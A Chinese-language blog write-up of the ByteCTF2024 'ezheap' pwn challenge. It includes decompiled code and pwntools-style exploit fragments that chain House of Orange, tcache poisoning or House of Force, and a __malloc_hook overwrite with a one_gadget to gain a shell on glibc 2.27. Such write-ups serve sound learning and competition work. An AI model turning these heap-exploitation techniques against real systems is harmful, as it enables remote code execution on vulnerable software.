Zj_W1nd's BLOG

ByteCTF2024——ezheap

2024/09/25

这道题目比赛的时候思路卡住了,有两个其实很简单的点都没想到,不然初赛战队就能第三名拿钱了。

题目分析

GLIBC2.27,符号表都没去,就是add,edit,show,delete,exit。malloc返回的指针存在数组里。漏洞明显的不能再明显了,add申请一个size,edit没检查,任意溢出。然后show就是printf %s的泄露,exit调用了libc中的exit函数。

但是这个free比较幽默,是这样的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
void __cdecl freechunk()
{
int v0; // r12d
size_t v1; // rax
char v2; // dl
unsigned __int8 temp; // [rsp+Fh] [rbp-181h]
unsigned __int8 tempa; // [rsp+Fh] [rbp-181h]
int i; // [rsp+10h] [rbp-180h]
int ia; // [rsp+10h] [rbp-180h]
int ib; // [rsp+10h] [rbp-180h]
int ic; // [rsp+10h] [rbp-180h]
int id; // [rsp+10h] [rbp-180h]
int j; // [rsp+14h] [rbp-17Ch]
int ja; // [rsp+14h] [rbp-17Ch]
size_t index; // [rsp+18h] [rbp-178h]
unsigned __int8 output[32]; // [rsp+30h] [rbp-160h]
unsigned __int8 input[32]; // [rsp+50h] [rbp-140h]
unsigned __int8 S[264]; // [rsp+70h] [rbp-120h]
unsigned __int64 v16; // [rsp+178h] [rbp-18h]

v16 = __readfsqword(0x28u);
j = 0;
for ( i = 0; (unsigned __int64)i < 0x20; ++i )
input[i] = i;
for ( ia = 0; ia <= 255; ++ia )
S[ia] = ia;
for ( ib = 0; ib <= 255; ++ib )
{
v0 = S[ib] + j;
v1 = strlen("secretkey");
v2 = v0 + aSecretkey[ib % v1];
LODWORD(v1) = (unsigned int)((v0 + (unsigned __int8)aSecretkey[ib % v1]) >> 31) >> 24;
j = (unsigned __int8)(v1 + v2) - (_DWORD)v1;
temp = S[ib];
S[ib] = S[j];
S[j] = temp;
}
ic = 0;
ja = 0;
for ( index = 0LL; index < 0x20; ++index )
{
ic = (ic + 1) % 256;
ja = (ja + S[ic]) % 256;
tempa = S[ic];
S[ic] = S[ja];
S[ja] = tempa;
output[index] = S[(unsigned __int8)(S[ic] + S[ja])] ^ input[index];
}
for ( id = 0; (unsigned __int64)id < 0x20; ++id )
;
}

稍微看一下就能发现,这个free乱搞了半天完全是自己忙活自己的,所有内容都是函数的局部变量,input都是自己初始化的,问了copilot说这是个rc4的加密算法,不过没什么用就是了。再观察一下就能发现程序根本就没链接到free,没有free的符号。调的库就puts,这里面的strlen还有malloc。

除了没有free以外,edit有个很有意思的地方。在edit之前,会检查这个chunk指针的地址。定位一下可以知道,这两个地址分别检查了mallochook以及前面的0x3000和linkmap中的两个"exithook",即在exit的时候会触发的两个函数指针。(发现mallochook不能用就第一时间上网找利用方式就看到了这个,结果也ban了…)。

1
2
3
4
5
6
bool __cdecl checksanbox(char *ptr)
{
if ( ptr >= (char *)&puts + 0x368270 && ptr < (char *)&puts + 0x36B270 )
return 0;
return ptr > (char *)&puts + 0x5995B2 || ptr < (char *)&puts + 0x599596;
}

这里有个伏笔↑,后面会说

没有free我们怎么做?

首先没有free一定是houseoforange的前半步了,glibc2.27 ban了House of Orange的后半段,但不影响拿free块。同时在unsortedbin之后再切割就能拿libc。

1
2
3
4
5
6
7
8
evil_size=0xd91
add(0x18) # 0
edit(0,0x20,b'a'*0x18+p64(evil_size))
add(0xe08) # 1
add(0x18) # 2 size for free: 0xd71
show(2)
p.recvuntil(b'Chunk at index 2: ')
libc.address=u64(p.recv(6)+b'\x00\x00')-0x3ebca0-0x600

这道题虽然不用,但是还有一个重要的点是,这里**一块就能泄露libc和堆地址了。**比赛的时候试着打堆地址有0截断出不来,但是其实有个关键细节想错了,就是这个用orange拿到的堆块并不更新lastremainder,它没有被切过,此时lastremainder是0,也就是说分配0x1000这个largechunk之前会跑一次循环,把这个堆块放进largebin!也就是说这个块里面会同时有我们的堆和libc地址,申请出来的可控chunk也是都有的,只需要泄露libc后将fd和bk填充上再泄露就不会0截断了,把fdnextsize打出来就有heap地址了。

第二步呢?

orange只能给我们一个free堆块,常规手段应该就到这了,比赛就卡在这里。按学长和WM的wp走的话这里有两种思路:

  1. 复读!

  2. House of Force

先来说第一种,这道题是任意溢出,完全不检查,因此我们申请出的第二个0xe10的chunk应该是新的top切下来的,那我们从这溢出新的top再free不就有新的堆块了?而且这个堆块的size我们可以任意控制,由于没有free我们不好构造fakechunk进行操作,最好的办法肯定是劫持到tcache,因此把size改到最小的对齐然后拿到tcache,2.27的tcache基本是四处漏风:

1
2
3
4
5
6
7
edit(1,0xe10,b'a'*0xe08+p64(0x1f1))
add(0xe00) # 3
# hijack
edit(1,0xe18,b'a'*0xe08+p64(0x1d1)+p64(malloc_hook))
# --------
add(0x1c8) # 4
add(0x1c8) # 5 <- arbitrary alloc

然后第二种,目前不清楚有没有什么限制,没有的话看wp的步骤也是一种很好用的方法,是利用整数溢出的houseofforce把top抬高到我们想要的位置。当然这道题要想任意地址分配的话还是得走tcache,这里拿到tcache perthread struct的控制权然后随便找个合适的size写入也能达到任意地址分配的目的。

1
2
3
4
5
6
7
8
add(0xB60)# 3 取走bin里的chunk
add(0x108)# 4 新top切割的
edit(4, 0x110, b"a" * 0x108 + p64(0xFFFFFFFFFFFFFFFF)) # House of Force
add(-0x22130)# 5 整数溢出把top推到堆起始地址
payload = b"a" * 0x100 + p64(libc_base + libc.sym["__malloc_hook"])
add(0x300)# 6这个堆块在开头,用来劫持tcache perthread struct
edit(6, 0x110, payload) # 在tcache[size=0x190]的位置写入了__malloc_hook
add(0x190)# 7 申请出来

下一步…

最幽默的一集来了,回收伏笔:

1
2
3
4
5
6
bool __cdecl checksanbox(char *ptr)
{ /*here ↓*/
if ( ptr >= (char *)&puts + 0x368270 && ptr < (char *)&puts + 0x36B270 ) //注意这里
return 0;
return ptr > (char *)&puts + 0x5995B2 || ptr < (char *)&puts + 0x599596;
}

注意这个malloc,他妈的他这边在mallochook这没有等号!也就是说只要返回的指针恰好是mallochook就没问题了。。。tcache里面直接写mallochook然后返回写入onegadget直接getshell

这里比赛当天还尝试在mainarena附近用house of lore打chunklist,看来想多了,确实是ezheap。这下知道house of orange的妙用了。

CATALOG
  1. 1. 题目分析
  2. 2. 没有free我们怎么做?
    1. 2.1. 第二步呢?
  3. 3. 下一步…